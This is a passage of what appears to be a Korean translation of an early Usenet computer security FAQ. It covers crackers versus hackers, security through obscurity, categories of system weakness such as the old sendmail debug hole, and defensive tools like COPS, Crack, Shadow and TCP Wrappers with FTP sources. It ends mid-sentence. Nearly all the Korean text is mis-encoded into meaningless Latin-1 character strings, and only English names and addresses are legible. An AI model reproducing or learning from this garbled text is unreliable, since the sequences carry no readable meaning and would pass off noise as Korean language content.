|
|

 |
* º¸¾È¿¡ ´ëÇÑ ÁÖ¿ä FAQ
1.alt.security ¿Í comp.security.misc´Â ¾î¶²°÷Àΰ¡?
comp.security.misc´Â À¯´Ð½º¿Í °ü·ÃµÈ ÄÄÇ»ÅÍ º¸¾ÈÀ» Åä·ÐÇÏ´Â Æ÷·³ÀÌ´Ù.
alt.securityµµ ¸¶Âù°¡Áö·Î °°Àº ÁÖÁ¦¸¦ ´Ù·çÁö¸¸,ÀÚµ¿Â÷ÀÇ Àá±ÝÀåÄ¡³ª °æº¸ÀåÄ¡
±îÁöµµ ´Ù·ç°íÀÖ´Ù.
2.ÇØÄ¿ ¿Í Å©·¡Ä¿ ÀÇ Â÷ÀÌ´Â ¹«¾ùÀΰ¡?
USENET¿¡ ÀÇÇϸé,Å©·¡Ä¿(cracker)´Â ¿©·¯°¡Áö ÀÌÀ¯·Î ´Ù¸¥ »ç¶÷ÀÇ ½Ã½ºÅÛ¿¡ ħ
ÅõÇÏ·Á´Â »ç¶÷µéÀ» ÁöĪÇÑ´Ù. ±×µéÀº ´ÜÁö '°¡´ÉÇϴϱî'¶ó´Â Çΰ踦 ´ë¸ç Àڽŵé
ÀÇ ÇàÀ§¸¦ Á¤´çȽÃŰÁö¸¸,´ëºÎºÐÀº ºÒ¹ýÀûÀÎ ÀÏÀ» ÀúÁö¸§À¸·Î½á ¸í¼ºÀ» ¾òÀ¸·Á
°í ÇÒ»ÓÀÌ´Ù.
ƯÈ÷ ¹Ý»çȸÀûÀÎ Å©·¡Ä¿´Â ¹®È¿¹¼úÀ» ÆÄ±«ÇÏ·Á´Â °æÇâÀ» °¡Áö°íÀÖ¾î¼, ÆÄÀϽÃ
½ºÅÛÀ» »èÁ¦Çϰí,½Ã½ºÅÛÀ» ÆÄ±«Çϰí,±×µéÀÇ ÈçÀûÀ» ÃßÀûÇÏ´Â ÇÁ·Î±×·¥À» ¸¶ºñ½Ã
Ų´Ù.pc ÀÇ º¹Á¦ÀåÄ¡¸¦ Á¦°ÅÇØ¼ ºÒ¹ýº¹»çº»À» ¹èÆ÷ÇÏ´Â »ç¶÷À» °¡¸®Å°´Â °æ¿ì
¿¡µµ Å©·¡Ä¿¶ó´Â ¸»ÀÌ ³Î¸® ¾²ÀδÙ.
USENET¿¡ ÀÇÇϸé, HACKER´Â ÄÄÇ»ÅÍ¿¡ °üÇÑ »ó´çÇÑ ¾çÀÇ Áö½Ä°ú Àü¹®ÀûÀÎ
±â¼úÀ» °®°í ÀÖÀ¸¸ç,±³¹¦ÇÏ°Ô ÀÌ·¯ÇÑ ±â¼úÀ» ÀÌ¿ëÇÒ ¼ö ÀÖ´Â »ç¶÷µéÀ» ¸»ÇÑ´Ù.
½ÇÁ¦·Î, »ç¶÷µéÀº ÇØÄ¿¶ó´Â ¸»À» Å©·¡Ä¿¿Í °ÅÀÇ °°Àº Àǹ̷ξ²°íÀÖ´Ù.
usenet¿¡¼µµ ÀÌ·¯ÇÑ °æ¿ì´Â ½É½ÉÄ¡¾Ê°Ô ³ªÅ¸³ª¼ »ç¶÷µéÀ» È¥¶õ½Ã۰í ÀÖ´Ù. º¸
¾ÈÀ» ´Ù·ç´Â °Ô½ÃÆÇ¿¡ Å©·¡Ä¿¸¦ ÇØÄ¿·Î À߸ø »ç¿ëÇÑ °Ô½Ã¹°À» ¿Ã¸°´Ù¸é ¸¹Àº ºñ
³À» ¸éÄ¡ ¸øÇÒ °ÍÀÌ´Ù.
3.'security through abscurity'¶õ ¹«¾ùÀΰ¡?
STO(ºÒÅõ¸íÇÔ¿¡ ÀÇÇÑ º¸¾È)´Â »ç¿ëÀÚ±×·ìÀÇ ¿ÜºÎ¿¡ ÀÖ´Â ¾î´À ´©±¸¶óµµ ³»ºÎ
¸ÞÄ«´ÏÁò¿¡ ´ëÇÏ¿© ¾Æ¹«°Íµµ ¹ß°ßÇÒ ¼ö ¾ø´Â ÇÑ, ½Ã½ºÅÛÀÌ ¾ÈÀüÇÏ´Ù´Â ¹ÏÀ½À»
¸»ÇÑ´Ù. "´©±¸¶óµµ ¿µ¿øÈ÷ ¹ß°ßÇÏÁö ¸øÇÒ °ÍÀÌ´Ù"¶ó´Â °¡Á¤À» °¡Áö°í,password¸¦
ÀÌÁøÆÄÀÏ¿¡ ¼û±â´Â °ÍÀº STOÀÇ ´ëÇ¥Àû ¿¹ÀÌ´Ù.
STO´Â ¸¹Àº °ü·áÁÖÀÇÀÚµé(±ºÀÎ,°ø¹«¿ø....)ÀÌ ÁÁ¾ÆÇϴ öÇÐÀ̸ç, ½Ã½ºÅÛ¿¡
'pseudosecurity'¸¦ Á¦°øÇÏ´Â Áß¿äÇÑ ÇÑ ¹æ¹ýÀÌ´Ù. °³¹æÈµÈ ½Ã½ºÅÛ, ³×Æ®¿öÅ·, ÇÁ
·Î±×·¥ ±â¼ú¿¡ ´ëÇÑ ÀÌÇØÀÇ Áõ°¡, ±×¸®°í ÀϹÝÀÎÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Â °·ÂÇÑ ÄÄÇ»
ÅÍÀÇ µîÀåÀ¸·Î ÀÎÇÏ¿© STOÀÇ À¯¿ëÇÔÀº Á¡Á¡ ¾àÇØÁ³´Ù.
STOÀÇ ±âº»Àº '¾Ë ÇÊ¿ä'¿¡ ÀÇÇØ¼ ½Ã½ºÅÛÀ» »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ¾î¶² »ç¶÷ÀÌ ½Ã½º
ÅÛ º¸¾È¿¡ ¿µÇâÀ» ¹ÌÄ¡´Â ¹æ¹ýÀ» ¸ð¸¥´Ù¸é ±×°ÍÀº À§ÇèÇÏÁö ¾Ê´Ù.
¸ðµÎ°¡ ÀÎÁ¤ÇϵíÀÌ, STO´Â ¹ÏÀ» ¸¸ÇÑ ÀÌ·ÐÀ» °¡Áö°í ÀÖÁö¸¸, ¾î¿ ¼ö ¾ø´Â ¿¹¿Ü
ÀÇ °æ¿ìµµ ÀÖ´Ù. ±×°ÍÀº ¹Ù·Î ½Ã½ºÅÛÀÇ ¿î¿µÀÚµé·Î, ¸¸ÀÏ À¯´ÉÇÑ Á÷¿øÀÌ ´õ ³ªÀº
º¸¼ö¸¦ ¹Þ°í ´Ù¸¥ Á÷ÀåÀ¸·Î °£´Ù¸é, ±×°¡ ¾Ë°í ÀÖ´Â Áö½Äµµ ÇÔ²² °¡¹ö¸°´Ù. ÀÏ´Ü
±×·± ºñ¹ÐÀÌ ³ëÃâµÇ¸é ½Ã½ºÅÛÀÇ º¸¾Èµµ ´õ ÀÌ»ó ¾ÈÀüÇÏÁö ¾Ê´Ù.
ÃÖ±Ù¿¡´Â Æò¹üÇÑ »ç¿ëÀڵ鵵 ½Ã½ºÅÛÀÌ µ¹¾Æ°¡´Â ¹æ¹ý¿¡ ´ëÇÏ¿© ÀÚ¼¼ÇÏ°Ô ¾Ë ÇÊ
¿ä°¡ ÀÖÀ¸¹Ç·Î ±× °á°ú STOÀÇ È¿°ú´Â ¸¹ÀÌ ¾àÇØÁ³´Ù. ¿À´Ã³¯ ¸¹Àº »ç¿ëÀÚµéÀÌ
Àü¿¡´Â ¾Ë Çʿ䰡 ¾ø¾ú´ø ½Ã½ºÅÛ¿¡ ´ëÇØ »ó´çÈ÷ ¸¹Àº Áö½ÄÀ» °¡Áö°Ô µÇ¾ú±â ´ë
¹®¿¡, º¸¾È¿¡ »ó´çÈ÷ ¸¹Àº ¹®Á¦°¡ »ý±â±â ½ÃÀÛÇß´Ù.
µû¶ó¼ Áö±Ý ÇÊ¿äÇÑ °ÍÀº öÇÐÀûÀ¸·Î ¾ÈÀüÇϱ⠺¸´Ù´Â ½ÇÁ¦ÀûÀ¸·Î ¾ÈÀüÇÑ ½Ã½º
ÅÛ(Kerberos,Secure RPC)À» ¸¸µå´Â °ÍÀÌ´Ù.
'Shadow Passwords'´Â Á¾Á¾ STO¿Í °°ÀÌ ¹«½Ã´çÇÏÁö¸¸, À̰ÍÀº ¿ÇÁö ¾Ê´Ù.
¿Ö³ÄÇϸé STO´Â ¾Ë°í¸®ÁòÀ̳ª Å×Å©´Ð¿¡ ´ëÇÑ Á¢±ÙÀ» Á¦ÇÑÇÏÁö¸¸ ½¦µµ¿ìÆÐ½º¿ö
µå´Â ½ÇÁúÀûÀÎ ÀÚ·á¿¡ ´ëÇÑ Á¢±ÙÀ» Á¦ÇÑÇϱ⠶§¹®ÀÌ´Ù.
4.½Ã½ºÅÛÀÇ º¸¾ÈÀ» ÀúÇØÇÏ´Â ¿ä¼Ò´Â ¹«¾ùÀΰ¡?
ÁøÁ¤À¸·Î ¾ÈÀüÇÑ ½Ã½ºÅÛÀº ÆÄ¿ö¸¦ ²ô°í Äڵ带 »« ÈÄ¿¡ ƼŸ´½ ¼±À¸·Î ¹¾î¼
ÄÜÅ©¸®Æ®·Î ¹ÐºÀÀ» ÇÏ°í µ¶°¡½º¸¦ ä¿ö¼ ÃÖ½ÅÀÇ ¹«±â¸¦ °¡Áø °æºñ¿øÀ¸·Î º¸È£
¸¦ ÇÏ´Â °ÍÀÌ´Ù. ±×·¯³ª ±×·¸´Ù°í ÇÏ´õ¶óµµ ´©±¸µµ °Å±â¿¡ ÀÚ½ÅÀÇ »ý¸íÀ» °É¸¸
Å ¾ÈÀüÇÏ´Ù°í ÀÚ½ÅÇÏÁö´Â ¸øÇÑ´Ù.
½Ã½ºÅÛÀÇ º¸¾È ¿©ºÎ´Â ±×°ÍÀ» »ç¿ëÇÏ´Â »ç¶÷µé¿¡°Ô ´Þ·ÁÀÖ´Ù. ½Ã½ºÅÛÀ» »ç¿ëÇÏ
´Â ¸ðµç »ç¶÷µéÀÌ ÀÚ±âµéÀÇ ½Ã½ºÅÛÀ» ¾Æ¹« ¹®Á¦ ¾øÀÌ ÀÌ¿ëÇϱâ À§Çؼ ³ª¸§´ë·Î
Ã¥ÀÓ°¨À» °®°í ÀÓÇÑ´Ù¸é Æ¯º°ÇÑ º¸È£ÀåÄ¡ ¾øÀ̵µ ¾ÈÀüÇÏ°Ô À¯ÁöµÉ°ÍÀÌ´Ù. ¸¹Àº
½ÇÇè½Ç¿¡ ÀÖ´Â PCµéÀº ÀÌ·± ¹æ½ÄÀ¸·Î ¾ÆÁÖ Àß ¿î¿ëµÇ°í ÀÖ´Ù.
¹®Á¦´Â º¸¾È À¯Áö¿¡ ´ëÇÑ Çʿ伺À» ´À³¢¸é¼ ½ÃÀ۵ȴÙ. ÀÏ´Ü ½Ã½ºÅÛ¿¡ º¸¾È Àå
Ä¡¸¦ ¼³Ä¡ÇÏ°í ³ª¸é,±×°ÍÀº °áÄÚ ³¡³ªÁö ¾Ê´Â ÀüÀïÀÌ µÉ °ÍÀÌ´Ù.
º¸¾È»óÀÇ ÇãÁ¡Àº ´ÙÀ½°ú °°ÀÌ 4°¡ÁöÀÇ Á¾·ù·Î ³ª´ ¼ö ÀÖ´Ù.
(1) ¹°¸®Àû ÇãÁ¡
ºÒ¹ý »ç¿ëÀÚ°¡ ½Ã½ºÅÛ¿¡ ¹°¸®ÀûÀ¸·Î Á¢±ÙÇÔÀ¸·Î½á ¹®Á¦°¡ »ý±â´Âµ¥,±×°¡ ÇØ¼´Â
¾ÈµÇ´Â ÀÛ¾÷À» ÇÒ ¼öµµ Àֱ⠶§¹®ÀÌ´Ù.
ÀÌ·¯ÇÑ ÁÁÀº ¿¹´Â °øµ¿À¸·Î »ç¿ëÇÏ´Â ¿öÅ©½ºÅ×À̼ǽǿ¡¼ ÀϾ ¼ö Àִµ¥, ±×
·±°÷¿¡¼´Â »ç¿ëÀÚ°¡ ¼Õ½±°Ô ½Ã½ºÅÛÀ» ´ÜÀÏ»ç¿ëÀÚ¸ðµå·Î ¹Ù²Ù°í,ÆÄÀÏ ½Ã½ºÅÛÀ»
µÚ¼¯¾î ¹ö¸± ¼ö ÀÖ´Ù. µû¶ó¼ »çÀü¿¡ ÃæºÐÇÑ ÁÖÀǰ¡ ÇÊ¿äÇÒ °ÍÀÌ´Ù.
¶Ç ´Ù¸¥ ¿¹·Î¼,´©±¸³ª ½±°Ô ÀÐÀ» ¼ö ÀÖ´Â ¹é¾÷ÀåÄ¡ÀÇ °æ¿ì ±â¹Ð À¯Áö¸¦ À§ÇØ
Á¢±ÙÀ» Á¦ÇÑÇÒ Çʿ䰡 ÀÖ´Ù.
(2)¼ÒÇÁÆ®¿þ¾î »óÀÇ ÇãÁ¡
Ưº°ÇÑ ±ÇÇÑÀ» °¡Áö´Â ÇÁ·Î±×·¥µé(daemons,cronjobs)ÀÇ °æ¿ì,À̵éÀÌ ¿ø·¡ÀÇ ¸ñÀû
°ú ´Ù¸£°Ô ÀÌ¿ëµÉ °¡´É¼ºÀÌ ÀÖ´Ù.
°¡Àå À¯¸íÇÑ ¿¹°¡ sendmail debug¿¡ ÀÖ´ø ÇãÁ¡Àε¥, Å©·¡Ä¿°¡ À̰ÍÀ» ÀÌ¿ëÇÏ¿©
root·Î ºüÁ®³ª°¡´Â ÁÁÀº ¼ö´ÜÀÌ µÇ¾ú´Ù. À̰ÍÀº ÆÄÀÏ ½Ã½ºÅÛÀ» »èÁ¦Çϰí,»õ·Î¿î
°èÁ¤À» ¸¸µé°í, ÆÐ½º¿öµå ÈÀÏÀ» º¹Á¦ÇÏ´Â µîÀÇ ÀÛ¾÷¿¡ »ç¿ëµÇ¾ú´Ù.(ÀϹÝÀûÀÎ »ý
°¢°ú´Â ´Ù¸£°Ô,sendmailÀ» ÅëÇÑ Ä§Åõ´Â ¾Ç¸í³ôÀº INTERNET WORM¸¸ ÇÒ ¼ö
ÀÖ¾ú´ø °ÍÀº ¾Æ´Ï¾ú´Ù. Å©·¡Ä¿¶ó¸é ´©±¸µçÁö telnetÀ» ÀÌ¿ëÇÏ¿© »ó´ë ½Ã½ºÅÛÀÇ
port25À» ÅëÇØ¼ ħÅõÇÒ ¼ö ÀÖ¾ú´Ù)
ÀÌ·± »õ·Î¿î ÇãÁ¡Àº Ç×»ó ¹ß°ßµÉ ¼ö ÀÖÀ¸¹Ç·Î ´Ã ´ÙÀ½°ú °°ÀÌ ´ëºñÇØ¾ß ÇÑ´Ù.
* root/daemons/bin¿¡´Â °¡±ÞÀû ÃÖ¼ÒÇÑÀÇ ÇÁ·Î±×·¥À» ¼³Ä¡Çϵµ·Ï ÇÑ´Ù. À̰÷¿¡
ÀÖ´Â ÇÁ·Î±×·¥µéÀº Ưº°ÇÑ ±ÇÇÑÀ» °¡Áö°í ÀÖ¾î¼ À§ÇèÇÏ°Ô ¾²ÀÏ ¼ö Àֱ⠶§
¹®ÀÌ´Ù.
* ¹®Á¦ÀÇ ÇØ°áÃ¥À» Á¦°ø¹ÞÀ» ¼ö ÀÖ´Â °÷µé¿¡ ´ëÇØ mailing list¸¦ ¸¸µé¾î ¹®Á¦
°¡ ¹ß»ýÇÒ °æ¿ì Áï°¢ÀûÀ¸·Î ¿¬¶ôÀ» ÃëÇØ ±× ¹®Á¦¿¡ ´ëÇÑ Á¤º¸¸¦ ¹ÞÀ» ¼ö ÀÖ
µµ·Ï ÇØ¾ßÇÑ´Ù.
(3)ȣȯ¼ºÀÇ ¹®Á¦
´©±¸ÀÇ À߸øÀº ¾Æ´ÏÁö¸¸,½Ã½ºÅÛ ¿î¿µÀÚ°¡ °æÇèÀÌ ºÎÁ·Çؼ º¸¾ÈÀÇ Ãø¸é¿¡¼ ¹®
Á¦°¡ ÀÖ´Â Çϵå¿þ¾î ¿Í ¼ÒÇÁÆ®¿þ¾î¸¦ ½Ã½ºÅÛ¿¡ ¼³Ä¡ÇÑ °æ¿ìÀÌ´Ù. À̿Ͱ°Àº ¹®Á¦
´Â ½Ã½ºÅÛÀÌ ÀÏ´Ü °¡µ¿µÇ°í ³ª¸é ¹ß°ßÇϱⰡ Èûµé´Ù. µû¶ó¼ ½ÅÁßÇÏ°Ô °í·ÁÇÏ¿©
½Ã½ºÅÛÀ» ±¸¼ºÇØ¾ß ÇÑ´Ù.
(4) Àû´çÇÑ º¸¾ÈÁ¤Ã¥ÀÇ ÀÛ¼º°ú À¯ÀÚ
³×¹øÂ° º¸¾È ¹®Á¦´Â Àνİú ÀÌÇØ¿¡ °üÇÑ °ÍÀÌ´Ù. ¿Ïº®ÇÑ ÇÁ·Î±×·¥,º¸È£ÀåÄ¡°¡
µÈ Çϵå¿þ¾î, ±×¸®°í ȣȯÀûÀÎ ºÎǰÀÏÁö¶óµµ, ÀûÀßÇÑ º¸¾È Á¤Ã¥À» °¡Áö°í ¿î¿µµÇ
Áö ¾Ê´Â´Ù¸é Á¦ ¿ªÇÒÀ» ÇÏÁö ¸øÇÒ °ÍÀÌ´Ù. ¸¸¾à »ç¿ëÀÚµéÀÌ ÀÚ½ÅÀÇ »ç¿ëÀÚ¸íÀ»
°Å²Ù·Î ÇØ¼ ÆÐ½º¿öµå¸¦ Á¤Çعö¸®´Â ½ÄÀ¸·Î º¸¾È °³³äÀÌ Èñ¹ÚÇÏ´Ù¸é ¾Æ¹«¸® ÁÁ
Àº ÆÐ½º¿öµå ¹æ½ÄÀÏÁö¶óµµ ¾Æ¹«·± °¡Ä¡°¡ ¾ø´Ù. º¸¾ÈÀ̶ó´Â °ÍÀº ±×·¯ÇÑ Á¤Ã¥¿¡
¸ÂÃß¾î¼ ½Ã½ºÅÛÀ» ¾ó¸¶³ª Àß ¿î¿µÇϴ°¡¿¡ ´Þ·ÁÀÖ´Ù.
5.º¸¾ÈÀ» µµ¿ÍÁÖ´Â µµ±¸¿¡´Â ¾î¶² °ÍµéÀÌ Àִ°¡?
(1)'COPS'
Dan Farmer¿¡ ÀÇÇØ °³¹ßµÈ ÀÌ ÇÁ·Î±×·¥Àº º¸¾È »óŸ¦ °Ë»çÇØÁÖ´Â ±â´ÉÀ» ÇÏ´Â
shell scriptÀÌ´Ù. ±âÃÊÀûÀÎ password cracker,setuid ÇÁ·Î±×·¥¿¡¼ Àǽɽº·± º¯È
¸¦ ¾Ë¾Æº¸±â À§ÇØ ÆÄÀϽýºÅÛÀ» °Ë»çÇÏ´Â ±â´É,±âº» ½Ã½ºÅÛ°ú »ç¿ëÀÚ ÆÄÀÏÀÇ
permissionÀ» °Ë»çÇÏ´Â ±â´É,¹®Á¦¸¦ ÀÏÀ¸Å³¸¸ÇÑ ÇൿÀ» ÇÏ´Â ½Ã½ºÅÛ ÇÁ·Î±×·¥À»
°Ë»çÇÏ´Â µîÀÇ ±â´ÉÀ» °¡Áö°íÀÖ´Ù.
(2)'CRACK'(+'UFC')
Alec Muffett¿¡ ÀÇÇØ °³¹ßµÈ ÀÌ ÇÁ·Î±×·¥Àº,¿ÜºÎÀο¡ ½±°Ô ³ëÃâµÉ °¡´É¼ºÀÌÀÖ´Â
ÆÐ½º¿öµå¸¦ ã¾Æ³»´Â ±â´ÉÀ» °¡Áö°íÀÖ´Ù. ¾Æ¸¶µµ À̰ÍÀº ÆÐ½º¿öµå Å©·¡Ä¿·Î¼
´ëÁß¿¡ ¹èÆ÷µÇ´Â À¯ÀÏÇÑ ÇÁ·Î±×·¥À¸·Î¼,»ç¿ëÀÚ°¡ ÀÚ½ÅÀÌ ¿øÇÏ´Â ÆÐ½º¿öµå¸¦ Á¤
È®ÇÏ°Ô ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï µµ¿ÍÁØ´Ù.
À̰ÍÀº ³×Æ®¿öÅ©»ó¿¡¼ °¡±ÞÀû ¸¹Àº ½Ã½ºÅÛ¿¡¼ »ç¿ë °¡´ÉÇϵµ·Ï ³×Æ®¿öÅ© ±â´É
ÀÌ ³»ÀåµÇ¾î ÀÖÀ¸¸ç,Unix crypt() ¾Ë°í¸®ÁòÀÇ ÃÖÀûÈµÈ ¹öÀüÀ¸·Î Á¦°øµÈ´Ù.
crypt()¾Ë°í¸®Áò ÀÇ ÈξÀ ´õ ºü¸¥ ¹öÀüÀÎ 'UFC'´Â Michael Glad¿¡ ÀÇÇØ °³¹ßµÇ
¾úÀ¸¸ç ³×Æ®¿öÅ©»ó¿¡¼ ¹«·á·Î ¹èÆ÷µÈ´Ù. UFC¿Í CRACK ÀÇ ÃֽŹöÀüÀº ¼·Î
ȣȯÀÌ µÇ¹Ç·Î ÇÔ²² »ç¿ëÀÌ °¡´ÉÇÏ´Ù.
(3)NPasswd(Clyde Hoover) & Passwd+(Matt Bishop)
ÀÌ ÇÁ·Î±×·¥Àº ÆÐ½º¿öµå Å©·¡Å· ÀüÀï¿¡¼ ±ÕÇüÀ» µÇã±â À§ÇÏ¿© ÀÛ¼ºµÇ¾ú´Ù.
À̵éÀº Ç¥ÁØ 'passwd'¸í·É¾î¸¦ ±³Ã¼ÇÏ¿© »ç¿ëÀÚ°¡ CRACK°°Àº ÇÁ·Î±×·¥¿¡ ÀÇ
ÇØ ½±°Ô ³ëÃâµÉ ¼ö ÀÖ´Â ÆÐ½º¿öµå¸¦ Á¤ÇÏÁö ¸øÇϵµ·Ï ÇÏ´Â ±â´ÉÀ» °¡Áö°íÀÖ´Ù.
System V,NIS/yp,shadow password schemes µîÀÇ ´Ù¾çÇÑ ½Ã½ºÅÛ¿¡¼ ¾²ÀÏ ¼ö
ÀÖ´Â ¿©·¯°¡Áö ¹öÀüÀÌ ³ª¿Í ÀÖ´Ù. ÀϹÝÀûÀ¸·Î ÆÄ½Ã½ºÆ® ÆÐ½º¿öµå ÇÁ·Î±×·¥À¸·Î
ºÒ¸®¿î´Ù.
(4)"SHADOW"-Shadow Password suite
John F Haugh II °¡ °³¹ßÇÑ ÀÌ ÇÁ·Î±×·¥Àº ½¦µµ¿ìÆÐ½º¿öµå ¸¦ ÀÌ¿ëÇÒ ¼ö ÀÖµµ
·Ï ÇØÁÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù. Áï root À̿ܿ¡´Â ¾î´À ´©±¸µµ ÆÐ½º¿öµå ÆÄÀÏÀ» º¼¼ö°¡
¾øÀ¸¸ç, ÆÐ½º¿öµå Å©·¡Å·À¸·ÎºÎÅÍ ¾ÈÀüÇÏ°Ô ½Ã½ºÅÛÀ» º¸È£ÇØÁØ´Ù. ÆÄ½Ã½ºÆ® ÆÐ½º
¿öµå¿Í ÇÔ²² ¾²ÀÎ´Ù¸é »ó´çÈ÷ ÁÁÀº º¸¾È ¹æ½ÄÀÌ µÉ °ÍÀÌ´Ù.
(5)TCP Wrappers(Wietse Venema)
À¯´Ð½º°¡ ±âº»ÀûÀ¸·Î Á¦°øÇÏ´Â ¸¹Àº ³×Æ®¿öÅ© ¼ºñ½º¿¡ front-ent filter¸¦ Á¦°ø
ÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù. ¼³Ä¡µÇ°í ³ª¸é,FTP/TFTP,telnetµîÀ» ÀÌ¿ëÇÏ¿© ºÒ¹ýÀûÀ¸·Î
ÀÌ·ç¾îÁö´Â Á¢¼ÓÀ» ¸·À» ¼ö ÀÖ´Ù. ´©±º°¡ ½Ã½ºÅÛ¿¡ ħÅõÇÏ·Á°í ÇÏ´Â °æ¿ì¿¡ À¯
¿ëÇÏ°Ô ¾²ÀÏ ¼ö ÀÖ´Ù.
(6)SecureLib
SecurelibÀº kernel¿¡ µé¾îÀÖ´Â ¼¼°¡Áö ÇÔ¼öµé¿¡ ´ëÇÑ ´ëü ÇÔ¼ö¸¦ °¡Áö°íÀÖ´Ù.
(accept(),recvfrom(),recvmsg())À̰͵éÀº ±âÁ¸ÀÇ ÇÔ¼öµé°ú ȣȯ¼ºÀ» °¡Áö°í ÀÖÀ¸
¸ç,½Ã½ºÅÛÀÇ ÀÎÅÍ³Ý ¾îµå·¹½º¸¦ °Ë»çÇÏ¿© Á¢¼ÓÀÌ °¡´ÉÇÑ ½Ã½ºÅÛÀ» È®ÀÎÇÏ´Â ±â
´ÉÀ» °¡Áö°íÀÖ´Ù. Á¢¼ÓÀÌ °¡´ÉÇÑ host´Â configuration file¿¡ ±â·ÏµÈ´Ù.
(7)SPI
SPI´Â file integrity¸¦ Æ÷ÇÔÇÏ¿© configuration optionÀ» °Ë»çÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù.
Â÷ÈÄ¿¡´Â COPS¿¡ Æ÷Ç﵃ ¿¹Á¤ÀÌ´Ù.À̰ÍÀº ÀϹÝÀÎÀº »ç¿ëÇÒ ¼ö ¾ø°í, ¹Ì±¹ Á¤ºÎ
¸¸ÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù.
6.cracking toolsÀ» ÀϹÝÀο¡°Ô °ø°³ÇÏ´Â °ÍÀÌ À§ÇèÇÏÁö ¾ÊÀº°¡?
°³ÀÎÀÇ °ßÇØ¿¡ µû¶ó ´Ù¸£´Ù. ÀϺλç¶÷µéÀº COPS¿Í CRACKÀ» °ø°³ÇÑ °ÍÀÌ ¹«Ã¥
ÀÓÇÑ ÀÏÀ̶ó°í ÁÖÀåÇÑ´Ù. ºÎ´çÇÏ°Ô ÀÌ¿ëµÉ ¼ö Àֱ⠶§¹®ÀÌ´Ù.
±×·¯³ª ¿ªÀ¸·Î »ý°¢Çϸé, ÀÌ ÇÁ·Î±×·¥ÀÌ °®´Â ±àÁ¤ÀûÀÎ ¸éµµ ¹«½ÃÇÒ ¼ö ¾ø´Ù.
ÀϹÝÀεéÀÌ ÀÌ ÇÁ·Î±×·¥µéÀ» ÀÌ¿ëÇØ¼ ÀÚ½ÅÀÇ ½Ã½ºÅÛÀ» °Ë»çÇϴµ¥ ¸¹Àº µµ¿òÀÌ
µÇ±â ¶§¹®ÀÌ´Ù. µû¶ó¼ °ø°³·Î ÀÎÇÑ È¿°ú°¡ ±àÁ¤ÀûÀÎÁö,ºÎÁ¤ÀûÀÎÁö´Â È®½ÇÄ¡ ¾Ê
´Ù.
7.ÀÌ·¯ÇÑ ÇÁ·Î±×·¥Àº ¾îµð¼ ±¸ÇÒ ¼ö Àִ°¡?
(1) COPS
v 1.04,cert.sei.cmu.edu(pub/cops)¿Í archive.cis.ohio-state.edu(pub/cops)¿¡¼ ftp
¸¦ ÀÌ¿ëÇÏ¸é °¡´ÉÇÏ´Ù.
(2) CRACK/UFC
Crack v4.1f, UFC oatchlevel 1. comp.sources.miscÀÇ volume 28¿¡¼ ÁÖ¿äÇÑ
USENET archive ¸¦ ÅëÇØ ½±°Ô ±¸ÇÒ¼ö ÀÖ´Ù.
(3) NPasswd
ÇöÀç ¸¹Àº ÇØÅ·¹öÀüÀÌ Á¸ÀçÇÑ´Ù. ¹öÀü 2.0ÀÌ ÁغñÁßÀ̸ç, ¿©·¯Àå¼Ò¿¡¼ ¿©·¯¹öÀü
À» ±¸ÇÒ ¼ö ÀÖ´Ù.
(4)Passwd+
'alpha version,update 3' - beta versionÀÌ °ð ³ª¿Ã ¿¹Á¤ÀÌ´Ù.
dartmouth.eduÀÇ pub/passwd+.tae.Z ÆÄÀÏ·Î ±¸ÇÒ ¼ö ÀÖ´Ù.
(5)SHADOW
Usenet archive¿¡ ÀÖ´Â comp.source.misc µð·ºÅ丮¿¡¼ ±¸ÇÒ ¼ö ÀÖ´Ù.
(6) TCP wrappers
anomymous FTP¸¦ ÀÌ¿ëÇÏ¸é °¡´ÉÇÏ´Ù.
cert.sei.cmu.edu:pub/network_tools/tcp_wrapper.shar
ftp.win.tue.nl:pub/security/log_tcp.shar.Z
(7)Securelib
eecs.nwu.edu ¿¡¼ anonymous FTP¸¦ ÀÌ¿ëÇÏ¸é ±¸ÇÒ ¼öÀÖ´Ù.
pub/securelib.tar·Î ÀúÀåµÇ¾î ÀÖ´Ù.
8.½Ã½ºÅÛÀÌ Ä§ÀÔÀ» ´çÇÏ´Â ÀÌÀ¯´Â ¹«¾ùÀÌ°í ¾î¶»°Ô ħÀÔÀ» ´çÇϴ°¡?
À̰ÍÀº ´ÜÁ¤ÀûÀ¸·Î ´ë´äÇϱâ Èûµç ¹®Á¦ÀÌ´Ù. Å©·¡Ä¿°¡ ¸¹Àº ½Ã½ºÅÛ¿¡ ħÅõÇÔÀ¸
·Î½á ¾ò´Â °ÍÀº ħÅõÇß´Ù´Â ±â·Ï»ÓÀÌ´Ù. Å©·¡Ä¿´Â »õ·Î¿î ½Ã½ºÅÛÀ¸·Î ħÅõÇϱâ
Àü¿¡ ¿©·¯ ´Ü°è¸¦ °ÅÄ¡´Â ¹æ½ÄÀ¸·Î ÀÚ½ÅÀÇ ÈçÀûÀ» ¾ø¾ÚÀ¸·Î½á ÃßÀûÀ» ¾î·Æ°Ô ¸¸
µç´Ù. °¡´ÉÇÑ ¸¹Àº ½Ã½ºÅÛÀ» ħÅõÇÏ¿© ¾ò´Â ÀåÁ¡Àº Á¢¼Ó ¼¼Å¹ÀÌ ÈξÀ ¿ëÀÌÇØÁø
´Ù´Â »ç½ÇÀÌ´Ù.
¶Ç´Ù¸¥ ÀÌÀ¯´Â ½É¸®ÇÐÀûÀÎ °ÍÀ¸·Î,ÄÄÇ»Å͸¦ ´Ù·ç´Â °ÍÀ» ÁÁ¾ÆÇÏ´Â ÀϺΠ»ç¶÷µé
Àº ¸¹Àº ½Ã½ºÅÛÀ» ħÅõÇÔÀ¸·Î½á ÀÚ½ÅÀÇ ½Ç·ÂÀ» È®ÀÎÇÏ°í ½Í¾îÇÏ´Â °ÍÀÌ´Ù. ±×µé
Àº NASA,AT&T,UCB ¿Í °°Àº °Å´ë Á¶Á÷¿¡ ħÅõÇϱâ À§ÇÏ¿©,6°³ÀÇ ÀÎÅÍ³Ý ±â
°è,2°³ÀÇ gateways ±×¸®°í X.25 network¸¦ °ÅÃļ À̵¿ÇÏ´Â °ÍÀ» '¾ÆÁÖ ¸Å²ô·´
